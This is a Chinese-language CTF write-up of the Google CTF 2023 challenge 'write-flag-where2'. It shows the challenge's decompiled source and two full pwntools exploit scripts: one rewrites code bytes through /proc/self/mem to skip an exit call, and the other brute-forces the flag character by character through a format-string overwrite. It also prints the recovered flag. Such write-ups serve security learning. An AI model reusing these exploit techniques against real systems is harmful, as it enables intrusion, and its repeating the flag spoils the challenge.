[Google CTF 2023]pwn-write-flag-where2

selph
selph
发布于 2023-10-25 / 124 阅读
0
0

[Google CTF 2023]pwn-write-flag-where2

题目分析

直接看代码:

int __cdecl main(int argumentCount, const char **arguments, const char **environmentVariables)
{
  __int64 buffer[9]; // [rsp+0h] [rbp-70h] BYREF
  _DWORD parsedData[3]; // [rsp+4Ch] [rbp-24h] BYREF
  int memFileDescriptor; // [rsp+58h] [rbp-18h]
  int bytesRead; // [rsp+5Ch] [rbp-14h]
  int nullFileDescriptor; // [rsp+60h] [rbp-10h]
  int outputFileDescriptor; // [rsp+64h] [rbp-Ch]
  int flagFileDescriptor; // [rsp+68h] [rbp-8h]
  int mapsFileDescriptor; // [rsp+6Ch] [rbp-4h]

  mapsFileDescriptor = open("/proc/self/maps", 0, environmentVariables);
  read(mapsFileDescriptor, maps, 0x1000uLL);
  close(mapsFileDescriptor);
  flagFileDescriptor = open("./flag.txt", 0);
  if ( flagFileDescriptor == -1 )
  {
    puts("flag.txt not found");
    return 1;
  }
  else
  {
    if ( read(flagFileDescriptor, &flag, 0x80uLL) > 0 )
    {
      close(flagFileDescriptor);
      outputFileDescriptor = dup2(1, 1337);
      nullFileDescriptor = open("/dev/null", 2);
      dup2(nullFileDescriptor, 0);
      dup2(nullFileDescriptor, 1);
      dup2(nullFileDescriptor, 2);
      close(nullFileDescriptor);
      alarm(0x3Cu);
      dprintf(
        outputFileDescriptor,
        "Was that too easy? Let's make it tough\nIt's the challenge from before, but I've removed all the fluff\n");
      dprintf(outputFileDescriptor, "%s\n\n", maps);
      while ( 1 )
      {
        memset(buffer, 0, 64);		// buffer 初始化
        bytesRead = read(outputFileDescriptor, buffer, 0x40uLL);// 读取内容到 buffer
        if ( (unsigned int)__isoc99_sscanf(buffer, "0x%llx %u", &parsedData[1], parsedData) != 2	// 输入地址 长度
          || parsedData[0] > 0x7Fu )
        {
          break;
        }
        memFileDescriptor = open("/proc/self/mem", 2);
        lseek64(memFileDescriptor, *(__off64_t *)&parsedData[1], 0);
        write(memFileDescriptor, &flag, parsedData[0]);
        close(memFileDescriptor);
      }
      exit(0);
    }
    puts("flag.txt empty");
    return 1;
  }
}

和上一篇wfw1是类似的,但是取消了每次循环的的字符串打印操作,并且提供了一个额外的代码段:

image

利用1:预期解

这里的思路就是,已知flag的格式是CTF{​开头,试试去覆盖代码段:

>>> disasm(b'C')
'   0:   43                      inc    ebx'
>>> disasm(b'T')
'   0:   54                      push   esp'
>>> disasm(b'F')
'   0:   46                      inc    esi'
>>> disasm(b'{')
'   0:   7b                      .byte 0x7b'

可见,T​这个字符对应的指令可以作为nop使用,不影响程序向下执行,可以通过覆盖代码段把call exit的操作都变成push esp,然后触发会跳转到exit的操作,就会执行下去打印一个字符串

由于每次都会把flag内容写入目标地址,但是可以指定长度,这里就可以从后往前覆盖call exit的这几个字节,每次写入CT,然后向前挪一个字节重新写入,那一块就会变成CTT,直到把call exit全变成T,就完成了对exit调用的跳过

通过/proc/self/mem文件去修改内存可以无视内存属性,达到任意内存读写

提前把这个字符串替换成flag,即可打印flag:

  1. 第一轮循环里去修改字符串
  2. 第二轮循环里去修改代码段,把call exit的调用给抹去
  3. 第三轮循环里去输入错误数据,触发跳转去打印

exp:

#!/bin/python3
from pwn import *

warnings.filterwarnings(action='ignore',category=BytesWarning)

FILE_NAME = "./chal"
REMOTE_HOST = "wfw2.2023.ctfcompetition.com"
REMOTE_PORT = 1337


elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)
# =======================================

io = start()

# =============================================================================
# ============== exploit ===================

# 获取基地址
sleep(2)
io.recvuntil(b"fluff\n")
base = int(io.recv(12),16)
print(hex(base))

# 计算偏移,写入flag到指定字符串
addr = base + 0x1443
io.sendlineafter('\n\n', f'{hex(addr)} 2')
for i in range(1,10):
    io.sendline(f"{hex(addr-i)} 2")
    sleep(0.3)

# 计算偏移,修改代码段
straddr = base + 0x20d5
io.sendline(f"{hex(straddr)} 80")
sleep(0.3)
io.recv()
io.sendline(b"")
flag = io.recv()
print(flag)

结果:

➜  write-flag-where2 python3 exp2.py REMOTE
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where2/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to wfw2.2023.ctfcompetition.com on port 1337: Done
0x55f6e4933000
b'CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}'
[*] Closed connection to wfw2.2023.ctfcompetition.com port 1337

利用2:非预期解

通过pwntools的recv的EOFERROR异常可以知道连接是否已断开,这个思路是修改scanf格式化字符串的格式0x%llx %u​,把flag的第n位复制上去覆盖0,然后给定输入例如Cx0 0​,如果scanf判断输入格式是正确的,接下来使用recv不会抛出异常,如果是错误的,则会抛出异常

小技巧:使用recv()可以判断连接是否断开,可以基于此来进行爆破

于是就可以不断连接进行爆破flag的第n位是什么,虽然慢了点,但也能求解出

exp:

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)

FILE_NAME = "./chal"
REMOTE_HOST = "wfw2.2023.ctfcompetition.com"
REMOTE_PORT = 1337


context.log_level = "error"

elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# =======================================
# 已知flag开头是CTF{
flag = "CTF{"
# =============================================================================
# ============== exploit ===================

def guess_char(guess, offset):
    # 启动进程,获取基地址
	io = start()
    #sleep(0.5)
    io.recvuntil(b"fluff\n")
    base = int(io.recv(12),16)
    #print(hex(base))

    io.recvuntil(b"\n\n\n")
	# 获取格式化字符串所在偏移
    elf.address = base
    format_string = next(elf.search(b"0x%llx %u"))
    #print(hex(format_string))

  	# 通过偏移来将flag中的某个字符覆盖到格式化字符串0x%llx的0上
    io.sendline(f"{hex(format_string - offset)} {offset+1}")
    sleep(0.1)

	# 尝试可读字符,判断是否是刚刚覆盖的字节
    try:
        io.sendline(f"{guess}x0 0")
        io.recv(4096,timeout=1)
        return True
    except EOFError:
        io.close()
        return False


while True:
    offset = len(flag)
	# 对于 flag 每个字节去爆破
    for guess in string.printable:
        if guess_char(guess,offset):
            flag += guess
            break
    print(flag)




# =============================================================================

运行结果:

➜  write-flag-where2 python3 exp1.py REMOTE
C
CT
CTF
CTF{
CTF{i
CTF{im
CTF{imp
CTF{impr
CTF{impr3
CTF{impr35
CTF{impr355
CTF{impr355i
CTF{impr355iv
CTF{impr355iv3
CTF{impr355iv3_
CTF{impr355iv3_6
CTF{impr355iv3_6u
CTF{impr355iv3_6ut
CTF{impr355iv3_6ut_
CTF{impr355iv3_6ut_c
CTF{impr355iv3_6ut_ca
CTF{impr355iv3_6ut_can
CTF{impr355iv3_6ut_can_
CTF{impr355iv3_6ut_can_y
CTF{impr355iv3_6ut_can_y0
CTF{impr355iv3_6ut_can_y0u
CTF{impr355iv3_6ut_can_y0u_
CTF{impr355iv3_6ut_can_y0u_s
CTF{impr355iv3_6ut_can_y0u_s0
CTF{impr355iv3_6ut_can_y0u_s01
CTF{impr355iv3_6ut_can_y0u_s01v
CTF{impr355iv3_6ut_can_y0u_s01v3
CTF{impr355iv3_6ut_can_y0u_s01v3_
CTF{impr355iv3_6ut_can_y0u_s01v3_c
CTF{impr355iv3_6ut_can_y0u_s01v3_ch
CTF{impr355iv3_6ut_can_y0u_s01v3_cha
CTF{impr355iv3_6ut_can_y0u_s01v3_cha1
CTF{impr355iv3_6ut_can_y0u_s01v3_cha11
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113n
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}


评论